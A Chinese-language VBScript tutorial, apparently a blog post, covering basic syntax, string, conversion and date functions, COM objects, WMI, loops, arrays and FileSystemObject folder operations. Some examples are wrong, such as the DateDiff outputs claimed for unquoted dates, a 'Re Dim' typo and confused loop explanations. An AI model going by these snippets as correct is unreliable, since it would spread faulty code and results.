-
2018-01-20 17:52:26
教程
vbs是基于Visual Basic的脚本语言。是Microsoft Visual Basic Script Edition(微软公司可视化脚本版)的简称。可以直接在记事本里写源代码,然后另存为*.vbs就可以运行。更多相关内容 -
VBS教程 适合新手
2019-04-17 11:06:24vbs开发语言教程 示例:你不妨用记事本打开刚才的文件在编辑窗口中输入: msgbox "Hello World!" , , "系统提示" 执行一下,看看效果和位置。 说明之三:如果执行失败,看看你的标点符号,所有的标点符号必须是在... -
VBS教程.rar详细教程,附带心得,还有实例说明,详细说明,新
2020-07-10 21:47:40这是一个有关VBS脚本的详细教程,每一部分带有实例----vbs的脚本现成版,并且有单独的txt文档详细解释,会对每一步,每一个小部分进行标注,并且附带有对vbs初级阶段的心得。每一部分详细划分,可对其有选择性阅读,... -
VBS教程总结
2021-07-28 22:18:161.变量常量 变量的定义 可以通过 Dim、Public 或 Private 语句声明 VBScript 变量: Dim opera,operb,result 用 Option Explicit 语句。如果您使用这个语句,就必须使用 dim、public 或 private 语句来声明所有...1.变量常量
变量的定义
可以通过 Dim、Public 或Private语句声明 VBScript 变量:
Dim opera,operb,result
用 Option Explicit(显示声明,强制所有变量必须先申明才能使用) 语句。如果您使用这个语句,就必须使用 dim、public 或 private 语句来声明所有的变量。
Option Explicit Dim carname carname=some value
常量的定义
Const vbPI = 3.14
应用
Dim opera,operb,result1 opera = InputBox("Please input a's value") operb = InputBox("Please input b's value") result1 = Int(opera) + Int(operb) result2 = Int(opera) - Int(operb) MsgBox opera & "+" & operb & "=" & result1 MsgBox opera & "-" & operb & "=" & result2
其中,输入语句 InputBox()
输出语句 MsgBox()
opera&"+"&operb&"="&result,&为连接符(+也是连接符), 作用是链接字符串或变量
2.字符串相关函数
Lcase和Ucase
大小写转换:Lcase和Ucase
'转换成小写 X = LCase("aBc") 'abc '转换成大写 X = UCase("aBc") 'ABC
StrComp
比较,用来比较两个字符串,若是相等则返回0。
x = StrComp("abc","abc") '返回0 x = StrComp("abc","aBc") '返回非0
StrReverse
翻转字符串
'返回 yhW x = StrReverse("Why")
Len
返回字符串长度
'返回3 x = Len("abc")
Left
返回一个字符串左边指定数目的字符、
'返回"This is" x = Left("This is a test",7)
Right
返回一个字符串右边指定数目的字符
'返回"test" x = Right("This is a test",4)
Mid
Mid 函数从字符串中返回指定数量的字符。如果没有指定数目,则返回从中间到最后的字符。
语法:Mid(string,start[,length])
参数 描述 string 必需。从其中返回字符的字符串表达式。 start 必需。规定起始位置。如果设置为大于字符串中的字符数量,则返回空字符串("")。 length 可选。要返回的字符数量。 InStr
函数返回一个字符串在另一个字符串中首次出现的位置。
语法:InStr([start,]string1,string2[,compare])
参数 描述 start 可选。规定每次搜索的起始位置。默认的搜索起始位置是第一个字符(1)。如果已规定 compare 参数,则必须有此参数。 string1 必需。需要被搜索的字符串。 string2 必需。需要搜索的字符串表达式。 compare 可选。规定要使用的字符串比较类型。默认是 0。 可采用下列的值:
- 0 = vbBinaryCompare - 执行二进制比较
- 1 = vbTextCompare - 执行文本比较
InStr 函数返回下面的值:
- 如果 string1 为 "" - InStr 返回 0
- 如果 string1 为 Null - InStr 返回 Null
- 如果 string2 为 "" - InStr 返回 start
- 如果 string2 为 Null - InStr 返回 Null
- 如果 string2 没有找到 - InStr 返回 0
- 如果在 string1 中找到 string2 - InStr 返回找到匹配字符串的位置
- 如果 start > Len(string1) - InStr 返回 0
例子:
txt="This is a beautiful day!" MsgBox InStr(1,txt,"i") 'result:3 MsgBox InStr(7,txt,"i") 'result:16
InStrRev
InStrRev 函数返回字符串在另一字符串中首次出现的位置。搜索从字符串的末端开始,但是返回的位置是从字符串的起点开始计数的。
InStrRev(string1,string2[,start[,compare]])
参数 描述 string1 必需。需要被搜索的字符串。 string2 必需。需要搜索的字符串表达式。 start 可选。规定每次搜索的起始位置。默认的搜索起始位置是最后一个字符(-1)。 compare 可选。规定要使用的字符串比较类型。默认是 0。 可采用下列的值:
- 0 = vbBinaryCompare - 执行二进制比较
- 1 = vbTextCompare - 执行文本比较
- 如果 string1 为 "" - InStrRev 返回 0
- 如果 string1 为 Null - InStrRev 返回 Null
- 如果 string2 为 "" - InStrRev 返回 start
- 如果 string2 为 Null - InStrRev 返回 Null
- 如果 string2 没有找到 - InStrRev 返回 0
- 如果在 string1 中找到 string2 - InStrRev 返回找到匹配字符串的位置
- 如果 start > Len(string1) - InStrRev 返回 0
LTrim,RTrim,Trim
去除字符串左边、右边或者两边的空格。
LTrim(string)
参数 描述 string 必需。字符串表达式。 RTrim(string)
参数 描述 string 必需。字符串表达式。 Trim(string)
参数 描述 string 必需。字符串表达式。 Replace
Replace 函数使用另一个字符串替换字符串的指定部分指定的次数。
Replace(string,find,replacewith[,start[,count[,compare]]])
参数 描述 string 必需。被搜索的字符串。 find 必需。将被替换的字符串部分。 replacewith 必需。用于替换的子字符串。 start 可选。指定的开始位置。默认值是 1。起始位置之前的所有字符将被删除。 count 可选。规定要执行的替换的次数。
默认值是 -1,表示进行所有可能的替换。compare 可选。规定要使用的字符串比较类型。默认是 0。 可采用下列的值:
- 0 = vbBinaryCompare - 执行二进制比较
- 1 = vbTextCompare - 执行文本比较
Space
生成指定数目的空格。
Space(number)
参数 描述 number 必需。字符串中的空格数量。 String
String 函数返回包含指定长度的重复字符的一个字符串。
String(number,character)
参数 描述 number 必需。被返回字符串的长度。 character 必需。被重复的字符。 Array
Array 函数返回一个包含数组的变量。
注意:数组中的第一个元素索引是零。
Array(arglist)
参数 描述 arglist 必需。数组中元素值的列表(由逗号分割)。 a=Array(5,10,15,20) MsgBox a(3) '20
UBound和LBound
UBound(arrayname[, dimension])
arrayname
必选项。数组变量名,遵循标准变量命名规则。
Dimension
可选项。指定返回哪一维上界的整数。1 表示第一维,2 表示第二维,以此类推。如果省略 dimension 参数,则默认值为 1。
UBound 函数与 LBound 函数一起使用,用于确定数组的大小。使用 LBound 函数可以确定数组某一维的下界。
所有维的下界均为 0。对于有这样维数的数组,UBound 函数返回以下结果:
Dim A(100,3,4)
语句 返回值 UBound(A, 1) 100 UBound(A, 2) 3 UBound(A, 3) 4 Filter
Filter 函数返回一个基于 0 的数组,此数组包含以特定过滤条件为基础的字符串数组的子集。
注意:如果找不到与 value 参数相匹配的值,Filter 函数会返回一个空数组。
注意:如果参数 inputstrings 为 Null 或者不是一维数组,则会发生错误。
Filter(inputstrings,value[,include[,compare]])
参数 描述 inputstrings 必需。要检索的一维字符串数组。 value 必需。要搜索的字符串。 include 可选。Boolean 值,指定返回的子字符串是否包含 Value。如果 Include 为 True,Filter 将返回包含子字符串 Value 的数组子集。如果 Include 为 False,Filter 将返回不包含子字符串 Value 的数组子集。默认值为 True。 compare 可选。规定要使用的字符串比较类型。 可采用下列的值:
- 0 = vbBinaryCompare - 执行二进制比较
- 1 = vbTextCompare - 执行文本比较
a=Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday") b=Filter(a,"S") for each x in b MsgBox x Next '结果:Sunday,Saturday
Split
Split(expression[,delimiter[,count[,compare]]])
参数 描述 expression 必需的。包含子字符串和分隔符的字符串表达式。 delimiter 可选的。用于识别子字符串界限的字符。默认是空格字符。 count 可选的。需被返回的子字符串的数目。-1 指示返回所有的子字符串。 compare 可选的。规定要使用的字符串比较类型。
可采用下列的值:
- 0 = vbBinaryCompare - 执行二进制比较。
- 1 = vbTextCompare - 执行文本比较。
例子1:
Dim testpath,testpaths testpath = "C:\oabookat\testscript" testpaths = Split(testpath,"testscript") MsgBox testpaths(0)
结果:
Join
oin 函数返回一个由数组中若干子字符串组成的字符串。
Join(list[,delimiter])
参数 描述 list 必需。一维数组,其中包含需被连接的子字符串。 delimiter 可选。用于在返回的字符串中分割子字符串的字符。默认是空格字符。 str = "-" seq = Array("a", "b", "c") MsgBox Join(seq,"-") 'a-b-c
3.转换函数
CBool
CBool():将表达式转换为Boolean型:
语法:CBool(expression)
该函数将参数expression转换为 Boolean型 。
参数可以是任何有效的表达式。
注解:如果 expression 的结果为 0 ,则返回 False;否则将返回 True。如果 expression 无法被计算成数值,将会产生执行阶段错误。CByte
CByte():将表达式转换为Byte型。
语法:CByte(expression)
该函数返回一个转换为 Byte 型的表达式。
参数 expression 可以是任何有效的表达式。
注解:使用 CByte 来强制执行 Byte 运算,不管它是单精数、倍精数、或是整数,都可以正常执行。使用 CByte 函数可以在任何语言的版本中,让任何一种数据转换至 Byte型。例如,不同的小数点分隔符号,会依据您系统的国别设定来做适当的确认。而千分位分隔符号也一样。若 expression 超出 Byte 资料型态允许的范围,则将会显示错误。CCur
CCur():将表达式转换为Currency()货币类型。
语法:CCur(expression)
该函数返回一个转换为 Currency 的表达式。
参数 expression 可以是任何有效的表达式。
注解:
可以使用 CCur 来强制执行 Currency 运算,以免被当作整数运算。
可以使用 CCur 函数以在任何语言的版本中,让任何一种数据换至 Currency 型。例如,当使用 CCur,不同的小数点分隔符号、千分位分隔符号,和不同的货币选项,会依据您系统的国别设定来做适当的确认。CDate
CDate():
语法:CDate(date)
返回一个转换为 Date 型的表达式。
参数 date 是任何有效的日期表达式。
注解:
可以使用 IsDate 函数来检查 date 是否可以被转换成日期或时间。而 CDate 接受日期文字和时间文字以及日期/时间有效范围内的适当数值。当转换一个数字成为日期时,是将整数部分转换成日期;任何数字中的小数部分,将转换为从午夜起算的时间。
CDate 是依据您系统上的国别设定来决定日期的格式。若提供的格式为不可辨识的日期设定,则无法判断日、月、年的顺序。另外,它若包含有星期的字符串,对于这样的完整日期格式也无法辨识。CDbl()
语法CDbl(expression)
返回一个转换为 Double 态的表达式。
参数 expression 可以是任何有效的表达式,比如string,数字
注解:
可以使用 CDbl 或 CSng 来强制执行双精度或单精度运算以防止被当作货币或整数运算。结果:两个输出值都是1
CInt
CInt():函数将一个表达式转化为数字类型.
表达式 CInt(expression)
允许数据类型: 任何有效的字符均可,比如字符串、数字
实例:
f = "234"
response.write cint(f) + 2返回结果: 236
转化字符"234"为数字"234",如果字符串为空,则返回0值
a = "12,890.12000" b = "12,890.120" If CInt(Replace(a,",","")) = CInt(Replace(b,",","")) Then MsgBox 1 Else MsgBox 0 End If If CInt(a) = CInt(b) Then MsgBox 1 Else MsgBox 0 End IF
结果:两个输出值都是1
CLng
语法
CLng(expression)
该函数返回一个转换为 Long 型的表达式。
参数 expression 可以是任何有效的表达式。
注解:
可以使用 CInt 或 CLng 来强制执行整数运算,以免被当作货整币、单精度、或双精度运算。
如果 expression 超出 Long型允许的范围,则会发生错误。
附注:
CLng 函数与 Fix 及 Int 函数不同,Fix 和 Int 函数会将小数部分去除,然后返回整数值。当小数部分恰好为 0.5 时, CLng 函数会将它转换成最接近的偶数值。例如,0.5 转换成 0,1.5 转换成 2。CSng
语法
CSng(expression)
该返回一个转换为 Single 资料型态的表达式。
参数 expression 可以是任何有效的表达式。
注解:
使用 CDbl 或 CSng 来强制执行双精度或单精度运算,以防止被当作货币或整数运算。
如果 expression 超出 Single 型允许的范围,则会发生错误。CStr
CStr():函数转化一个表达式为字符串.
表达式 Cstr(expression)
允许数据类型: expression 是任何有效的表达式。
实例:
s = 3 + 2
response.write "the 返回结果 is: " & cstr(s)返回结果: 转化数字“5”为字符“5”。
Hex()
Hex(number)
参数 描述 number 必需。任何有效的表达式。 如果数字是:
- Null - 那么 Hex 函数返回 Null。
- Empty - 那么 Hex 函数返回零(0)。
- Any other number - 那么 Hex 函数返回 8 个十六进制字符。
注解:
如果 number 不是一个整数,那么在执行前会先被四舍五入成最接近的整数。
可以将十六进位数字直接以&H开头来表示。例如,&H10代表十进位的 16。Oct()
Oct(number)
参数 描述 number 必需。任何有效的表达式。 如果数字是:
- Null - 那么 Oct 函数返回 Null。
- Empty - 那么 Oct 函数返回零(0)。
- Any other number - 那么 Oct 函数返回 11 个八进制字符。
可以将八进位数字直接以&O 开头来表示。例如,&O10代表十进位的 8。
Asc
Asc 函数把字符串中的第一个字母转换为对应的 ANSI 代码,并返回结果。
Asc(string)
参数 描述 string 必需。字符串表达式。不能为空字符串! MsgBox Asc("A") '65
Chr
Chr 函数把指定的 ANSI 字符代码转换为字符。
注意:从 0 到 31 之间的数字表示不可打印的 ASCII 代码,例如 Chr(10) 将返回一个换行符。
Chr(charcode)
参数 描述 charcode 必需。标识某个字符的数字。 MsgBox Chr(65) 'A
4.日期和时间函数
Date
返回当前系统日期
Dim MyDate MyDate = Date MsgBox MyDate '结果2022/4/27
Time
返回当前系统时间
Dim MyTime MyTime = Time MsgBox MyTime '结果 15:06:19
Now
返回当前系统日期和时间
MsgBox Now '结果 2022/4/27 15:08:21
Day/Month/Year
Day
Day函数返回介于 1 到 31 之间的一个代表月的天数的数字。
Day(date)
参数 描述 date 必需。表示日期的任何表达式。 Msgbox Now() '2022/4/27 15:24:40 Msgbox Day(Now()) '27
Month
Month 函数返回表示年的月份的数字,介于 1 到 12 之间。
Month(date)
参数 描述 date 必需。任何表示日期的表达式。 Msgbox Now() '2022/4/27 15:34:36 Msgbox Month(Now()) '4
Year
Year 函数返回表示年份的一个数字。
Year(date)
参数 描述 date 必需。任何可表示日期的表达式。 Msgbox Now() '2022/4/27 15:34:36 Msgbox Year(Now()) '2022
Hour/Minute/Seconds
Hour 函数返回一个 0 到 23 之间的代表天的小时数的数字。
Hour(time)
参数 描述 time 必需。任何可表示时间的表达式。 Minute 函数返回表示小时的分钟数的数字,介于 0 到 59 之间。
Minute(time)
参数 描述 time 必需。表示时间的表达式。 Second 函数返回表示分钟的秒数的数字,介于 0 到 59 之间。
Second(time)
参数 描述 time 必需的。任何表示时间的表达式。 Msgbox Hour(Time) '15 Msgbox Hour(Now) '15 Msgbox Minute(Time) '38 Msgbox Minute(Now) '38 Msgbox Second(Time) '47 Msgbox Second(Now) '47
Weekday
Weekday 函数返回表示一周的天数的数字,介于 1 到 7 之间。
Weekday(date[,firstdayofweek])
参数 描述 date 必需。要计算的日期表达式。 firstdayofweek 可选。规定一周的第一天。 可采用下面的值:
- 0 = vbUseSystemDayOfWeek - 使用区域语言支持(NLS)API 设置
- 1 = vbSunday - 星期日(默认)
- 2 = vbMonday - 星期一
- 3 = vbTuesday - 星期二
- 4 = vbWednesday - 星期三
- 5 = vbThursday - 星期四
- 6 = vbFriday - 星期五
- 7 = vbSaturday - 星期六
'Now: 2022/4/27 15:41:10 星期三 Msgbox Weekday(Now) '4 Msgbox Weekday(Now,2) '3
DateDiff
DateDiff 函数返回两个日期之间的时间间隔数。
DateDiff(interval,date1,date2[,firstdayofweek[,firstweekofyear]])
参数 描述 interval 必需。计算 date1 和 date2 之间的时间间隔的单位。 可采用下面的值:
- yyyy - 年
- q - 季度
- m - 月
- y - 当年的第几天
- d - 日
- w - 当周的第几天
- ww - 当年的第几周
- h - 小时
- n - 分
- s - 秒
date1,date2 必需。日期表达式。在计算中需要使用的两个日期。 firstdayofweek 可选。规定一周的日数,即当周的第几天。 可采用下面的值:
- 0 = vbUseSystemDayOfWeek - 使用区域语言支持(NLS)API 设置
- 1 = vbSunday - 星期日(默认)
- 2 = vbMonday - 星期一
- 3 = vbTuesday - 星期二
- 4 = vbWednesday - 星期三
- 5 = vbThursday - 星期四
- 6 = vbFriday - 星期五
- 7 = vbSaturday - 星期六
firstweekofyear 可选。规定一年中的第一周。 可采用下面的值:
- 0 = vbUseSystem - 使用区域语言支持(NLS)API 设置
- 1 = vbFirstJan1 - 由 1 月 1 日所在的星期开始(默认)
- 2 = vbFirstFourDays - 由在新的一年中至少有四天的第一周开始
- 3 = vbFirstFullWeek - 由在新的一年中第一个完整的周开始
Msgbox DateDiff ("d",2022/4/25,2022/4/27) '-2 Msgbox DateDiff ("d",2022/4/27,2022/4/25) '2
5.其他函数
TypeName
TypeName 函数返回指定变量的子类型。
TypeName 函数返回下面的值:
- Byte - 表示一个字节值
- Integer - 表示一个整型值
- Long - 表示一个长整型值
- Single - 表示一个单精度浮点值
- Double - 表示一个双精度浮点值
- Currency - 表示一个货币值
- Decimal - 表示一个十进制值
- Date - 表示一个日期或时间值
- String - 表示一个字符串值
- Boolean - 表示一个布尔值,True 或 False
- Empty - 表示一个未初始化变量
- Null - 表示无有效数据
- <object type> - 表示实际对象类型名
- Object - 表示一般对象
- Unknown - 表示未知对象类型
- Nothing - 表示还未引用对象实例的对象变量
- Error - 表示一个错误
TypeName(varname)
参数 描述 varname 必需。变量的名称。 x="Hello World!" MsgBox TypeName(x) 'String
VarType
VarType 函数返回指示指定变量的子类型的值。
VarType 函数返回下面的值:
- 0 = vbEmpty - 表示空(未初始化)
- 1 = vbNull - 表示 Null(无有效数据)
- 2 = vbInteger - 表示一个整数
- 3 = vbLong - 表示一个长整数
- 4 = vbSingle - 表示一个单精度浮点数
- 5 = vbDouble - 表示一个双精度浮点数
- 6 = vbCurrency - 表示货币
- 7 = vbDate - 表示日期
- 8 = vbString - 表示一个字符串
- 9 = vbObject - 表示一个 automation 对象
- 10 = vbError - 表示一个错误
- 11 = vbBoolean - 表示一个布尔值
- 12 = vbVariant - 表示 Variant(仅用于变量数组)
- 13 = vbDataObject - 表示一个数据访问对象
- 17 = vbByte - 表示一个字节
- 8192 = vbArray - 表示一个数组
注意:假如变量是数组,则 VarType() 会返回 8192 + VarType(array_element)。举例:整数数组的 VarType() 会返回 8192 + 2 = 8194。
VarType(varname)
参数 描述 varname 必需。变量的名称。 x="Hello World!" MsgBox VarType(x) '8
GetRef
CreatObject
CreateObject 函数创建一个指定类型的对象。
CreateObject(servername.typename[,location])
参数 描述 servername 必需。提供此对象的应用程序名称。 typename 必需。对象的类型或类(type/class)。 location 可选。在何处创建对象。 '声明变量 Dim ExcelSheet '为Excel.Application创建一个DOM对象 Set ExcelSheet = CreateObject("Excel.Application") aRemoteSever = "127.1.1.1" '在远程服务器上为Excel.Application创建一个COM对象 Set ExcelSheet = CreateObject("Excel.Application",sRemoteSever)
CreateObject,这条命令可以访问windows系统内安装的所有COM对象,并且可以调用这些部件中存放的命令。
COM对象(COM:The Component Object Model 组件对象模型)是遵循COM规范编写以Win32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行二进制代码,能够满足对组件架构的所有需求。简单的说,COM就是别人写好的模块,我们要做的仅仅是调用它,而不必关心它的内部实现,这也是COM技术的一个初衷。ProgID可以认为是开发人员为COM对象起的一个名字,我们把COM对象的名字传递给CreateObject函数,告诉它我们想创建这个对象,CreateObject函数就会返回这个对象的指针给你。
WSH 是“Windows Scripting Host”的缩略形式,其通用的中文译名为“Windows脚本宿主”。对于这个较为抽象的名词,我们可以先作这样一个笼统的理解:它是内嵌于 Windows 操作系统中的脚本语言工作环境。WSH的工作流程,实际上就是脚本文件被解析并执行的过程。WSH 实际上是一个脚本语言的运行环境,它之所以具备强大的功能,是在于充分挖掘了脚本语言的潜力。脚本文件的编写十分方便,你可以选用任意一个文字编辑软件进行编写,写完后,你只需将它保存为 WSH 所支持的文件名就行了(如 ..js 文件、.vbs 文件),WSH也就是用来解析VBS语言的宿主,本身包含了几个个常用对象:
- Scripting.FileSystemObject>提供一整套文件系统操作函数,它允许我们在代码内操作文本文件、文件夹及驱动器。
- Scripting.Dictionary>用来返回存放键值对的字典对象
- Wscript.Shell一>提供一套读取系统信息的函数,如读写注册表、查找指定文件的路径、读取DOS 环境变量,读取链接中的设置
- Wscript.NetWork>提供网络连接和远程打印机管理的函数。(其中,所有Scripting对象都存在SCRRUNDLL文件中,所有的Wscript对象都存放在WSHOMocx文件中。)
GetObject
GetObject 函数返回对文件或已经打开应用 automation 对象的引用。
语法:GetObject([pathname][,class])
参数 描述 pathname 可选。包含 automation 对象的文件的完整路径和名称。如果此参数被忽略,就必须有 class 参数。 class 可选。automation 对象的类。此参数使用此语法:appname.objectype。 Set objSWbemServices = GetObject("winmgmts:")
参考:Microsoft Windows 2000 Scripting Guide - The "WinMgmts:" Prefix | Microsoft Docs
WMI中相关的操作说明execquery 或者是instancesof_weixin_33756418的博客-CSDN博客
WMI 名字对象可以由三部分组成:一个强制组件和两个可选组件。强制性组件是“winmgmts:”前缀。所有 WMI 名称都必须以“winmgmts:”开头。
指定仅包含“winmgmts:”前缀的名字对象是您可以使用的 WMI 名字对象的最基本形式。结果始终是对 SWbemServices 对象的引用,该对象表示与本地计算机上的 Windows Management Instrumentation 服务的连接。
Set objSWbemServices = GetObject("winmgmts:")
Set colSWbemObjectSet = objSWbemServices.InstancesOf("Win32_LogicalDisk")或写成:
Set colSWbemObjectSet = GetObject("winmgmts:").InstancesOf("Win32_LogicalDisk")
6.循环语句
6.1 For...Next 语句
运行一段代码指定的次数(用的较多)
For 语句规定计数变量(i)以及它的初始值和结束值。Next 语句会以 1 作为步进值来递增变量(i)。
通过 Step 关键词,您可以规定计数变量递增或递减的步进值。
退出 For...Next
您可以通过 Exit For 关键词退出 For...Next 语句。
For i=1 To 10
If i=5 Then Exit For
some code
Next6.2 For Each...Next 语句
针对集合中的每个项目或者数组中的每个元素来运行某段代码。
Dim cars(2) cars(0)="Volvo" cars(1)="Saab" cars(2)="BMW" For Each x In cars Msgbox(x) Next
结果: Volve Saab BMW
For i In 和 For Each i In 对比
1.浏览器的兼容性区别
2.for each遍历的是每一项value,for in 遍历的是每一项的key值
6.3 Do...Loop 语句
运行循环,当条件为 true 或者直到条件为 true 时
您可以使用 While 关键字来检查 Do... Loop 语句的条件。
Do While i>10
some code
Loop如果 i 等于 9,上述循环内的代码将终止执行。
Do
some code
Loop While i>10重复执行代码直到条件变成 true
您可以使用 Until 关键字来检查 Do...Loop 语句的条件。
Do Until i=10
some code
Loop如果 i 等于 10,上述循环内的代码将终止执行。
Do
some code
Loop Until i=10这个循环内的代码将被执行至少一次,即使 i 等于 10。
退出 Do...Loop
您可以通过 Exit Do 关键词退出 Do...Loop 语句。
Do Until i=10
i=i-1
If i<10 Then Exit Do
Loop7.条件语句
7.1If 语句
假如您希望在条件为 true 时执行一系列的代码,可以使用这个语句
it true
do something
7.2 If...Then...Else 语句
i=hour(time)
If i < 10 Then
document.write("Good morning!")
Else
document.write("Have a nice day!")
End If7.3 If...Then...ElseIf 语句
i=hour(time)
If i = 10 Then
document.write("Just started...!")
ElseIf i = 11 Then
document.write("Hungry!")
ElseIf i = 12 Then
document.write("Ah, lunch-time!")
ElseIf i = 16 Then
document.write("Time to go home!")
Else
document.write("Unknown")
End If7.4 Select Case 语句
d=weekday(date)
Select Case d
Case 1
document.write("Sleepy Sunday")
Case 2
document.write("Monday again!")
Case 3
document.write("Just Tuesday!")
Case 4
document.write("Wednesday!")
Case 5
document.write("Thursday...")
Case 6
document.write("Finally Friday!")
Case else
document.write("Super Saturday!!!!")
End Select8.数组
8.1定长数组
Dim username(2) Dim arraybound,arraycount Dim i username(0)="zhangsan" username(1)="lisi" username(2)="wangwu" arraybound=UBound(username) arraycount=arraybound+1 For i = 0 To arraybound MsgBox username(i) Next MsgBox arraybound MsgBox arraycount
LBound() 返回数组的最小可用下标
UBound() 返回数组的最大可用下标
代码也可以改成:
For i = LBound(i) to UBound(i)
MsgBox username(i)
8.2动态数组
我们可以用ReDim重新定义动态数组的大小,但是每次这样做的话,数组中的值就会销毁。
除非我们像下面这样使用关键字“preserve”
'创建动态数组 Dim X() '在使用数组之前,数组必须被初始化 Re Dim X(2) X(0) = "This" X(1) = "is a" X(2) = "test" '重定义数组,保留了前3个元素的值 ReDim Preserve X(5)
9.函数封装
原来的代码
tips:vbCrLf是vbs中的一个字符串常数,即“Chr(13) & Chr(10)”(回车符与换行符连接在一起),是换行的意思。
Dim opera,operb,result MsgBox "+.加法功能"&vbCrLf&"-.减法功能" oper = InputBox("请选择功能") opera = InputBox("a") operb = InputBox("b") Select Case oper Case "+" result = CInt(opera) + CInt(operb) msgbox result Case "-" result = CInt(opera) - CInt(operb) msgbox result Case Else MsgBox "输入错误" End Select
Function和sub
Function有返回值
Sub没有返回值
Function有返回值,因为vbs没有return语句,所以Function会返回和函数名同名的变量的值
Function addtest(testa,testb) addtest = CInt(testa) + CInt(testb) End Function MsgBox addtest("1",2)
结果:
如果再加一个其他变量
Function addtest(testa,testb) test = CInt(testa) - CInt(testb) addtest = CInt(testa) + CInt(testb) End Function MsgBox addtest("8",2)
结果:
改造:
oper = InputBox("请选择功能") opera = InputBox("a") operb = InputBox("b") Select Case oper Case "+" MsgBox addtest(opera,operb) Case "-" subtraction opera,operb Case Else MsgBox "输入错误" End Select 'function Function addtest(testa,testb) addtest = CInt(testa) + CInt(testb) End Function 'sub Sub subtraction(testa,testb) result = CInt(testa) - CInt(testb) 'sub函数没有返回值 MsgBox result End sub
call
Call 语句
将控制权传递给 Sub 或 Function 过程。
[Call] name [argumentlist]
可选项关键字。如果指定此关键字,则必须用括号把 argumentlist 括起来。例如:
Call MyFunction("Hello World") Function MyFunction(text) MsgBox text End Function
Call MySub("Hello World") Function MySub(text) MsgBox text End Function
10.fso(Scripting.FileSystemObject)
FileSystemObject对象
参考:VBS中FileSystemObject对象详解_花蝴蝶的专栏-CSDN博客
FileSystemObject 对象的作用:提供对计算机文件系统的访问,它允许我们在代码内操作文本文件、文件夹及驱动器。
FSO包含的常见对象有:
对象/集合 描述 Drive 包含储存设备的信息,包括硬盘、光驱、ram盘、网络驱动器 Drives 提供一个物理和逻辑驱动器的列表 File 检查和处理文件 Files 提供包含在文件夹内的所有文件的列表 Folder 检查和处理文件夹 Folders 提供在 Folder 内的所有文件夹的列表 TextStream 对象,用来读写文本文件 FileSystemObject对象总共一个属性即Drives 描述:获得所有可用驱动器的集合。 说明:无论是否本地磁盘、插入媒体、可移动媒体驱动器都显示在 Drives 集合中。 具体示例代码如下所示:获取本计算机上所有的磁盘的盘符
Dim fso Set fso = CreateObject("Scripting.FileSystemObject") Set Drivers = fso.Drives For Each Driver in Drivers Msgbox Driver.DriveLetter '输出计算机上所有的磁盘盘符 Next
10.1 folder
CreateFolder
FSO是FileSystemObject 或 Scripting.FileSystemObject 的缩写,为 IIS 内置组件,用于操作磁盘、文件夹或文本文件。
描述:创建一个空的文件夹 语法:object. CreateFolder(strFolder) 参数:strFolder为想要创建的文件夹路径及名称
Dim fso '创建一个文件系统对象 Set fso = CreateObject("Scripting.FileSystemObject") '在D:\learning\vbs下创建一个文件夹 Set f = fso.CreateFolder("D:\learning\vbs\1") '把fso对象所占用的内存释放掉 Set fso = Nothing
结果:生成文件夹:1
改造使其更通用 :
其中:FolderExist 描述:判断指定文件夹是否存在 语法:object. FolderExists (strFolder) 参数:strFolder为指定的文件夹
Sub createfolder(folderpath,foldname) Dim fso '创建一个文件系统对象 Set fso = CreateObject("Scripting.FileSystemObject") If fso.FolderExists(folderpath&foldname)Then MsgBox ("文件夹已存在") Else MsgBox "文件夹不存在,现在开始创建" '在D:\learning\vbs下创建一个文件夹 Set f = fso.CreateFolder(folderpath&foldname) End If '把fso对象所占用的内存释放掉 Set fso = Nothing End Sub '调用 createfolder "D:\learning\vbs\","2"
DeleteFolder
删除一个文件夹
语法:object. DeleteFolder(strFolder,force)
参数:strFolder为想要删除的文件夹名称。组成部分中可用通配符。
force如果要删除只读文件夹,则该值为 True;否则为 False(默认)
示例:删除文件夹: c:\testDim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用DeleteFile删除指定文件 Fso.DeleteFolder("c:\test") '强制删除只读的文件 Fso.DeleteFolder "c:\test",True
CopyFolder
描述:将文件夹从某位置复制到另一位置
语法:object. CopyFolder "source", "destination"[, overwrite]
参数:source必选项。表示指定文件夹的路径。组成部分中可用通配符。
destination必选项。表示目标位置的路径
overwrite可选项。Boolean 值表明是否覆盖现有文件夹。如果是 True,则覆盖文件夹;如果是 False,则不覆盖现有文件夹。默认值是 True示例:将 c:\test文件夹复制到D:\下
Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用CopyFile复制文件到另一个位置,默认为True覆盖已存在文件 Fso.CopyFolder "c:\test","D:\" 'False不覆盖已存在文件 Fso.CopyFolder "c:\test","D:\",False
MoveFolder
描述:将一个或多个文件夹从某位置移动到另一位置
语法:object.MoveFolder source, destination
参数:source必选项。要移动的文件夹的路径。组成部分中可用通配符。
destination必选项。指定路径,表示要将文件夹移动到该目标位置。示例:
Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用MoveFolder移动文件夹到另一个位置 Fso.MoveFolder "c:\test","D:\"
GetParentFolderName
描述:获取文件当前所在的文件夹
语法:object.GetParentFolderName Path
参数:Path必选项。文件路径名。
示例:获取”c:\test.txt”文件所在的文件夹Dim Fso Dim GetParentFolderName '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用GetParentFolderName获取文件当前所在的文件夹 GetParentFolderName = Fso.GetParentFolderName("c:\test\test.txt") MsgBox GetParentFolderName '输出c:\test
GetBaseName 方法
返回字符串,其中包含文件的基本名 (不带扩展名), 或者提供的路径说明中的文件夹。
语法:object.GetBaseName(path)
参数
object:必选项,应为 FileSystemObject 的名称。
path:必选项。指定文件或文件夹的路径,要返回其组成部分的基本名。
如果路径中没有任何文件或文件夹与指定的 path 参数匹配,则 GetBaseName 方法返回零长度字符串 ("")。Function GetTheBase(filespec) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") GetTheBase = fso.GetBaseName(filespec) MsgBox GetTheBase End Function GetTheBase("D:\learning\vbs\oabookat\testcase")
结果:
10.2 file
关于 TextStream 对象
TextStream对象是用于访问文本文件的对象,它是FileSystemObject一个独立的附属对象,但在使用TextStream对象时,我们仍要借助FileSystemObject 对象或其附属对象来创一个TextStream 对象并访问磁盘文件的内容。可以通过FileSystemObject 对象的CreateTextFile()及OpenTextFile(),来获取TextStream的对象句柄。
TextStream对象的方法:
方法
说明
Close()
关闭一个打开的文件
Read(numchars)
从文件中读出 numchars 个字符
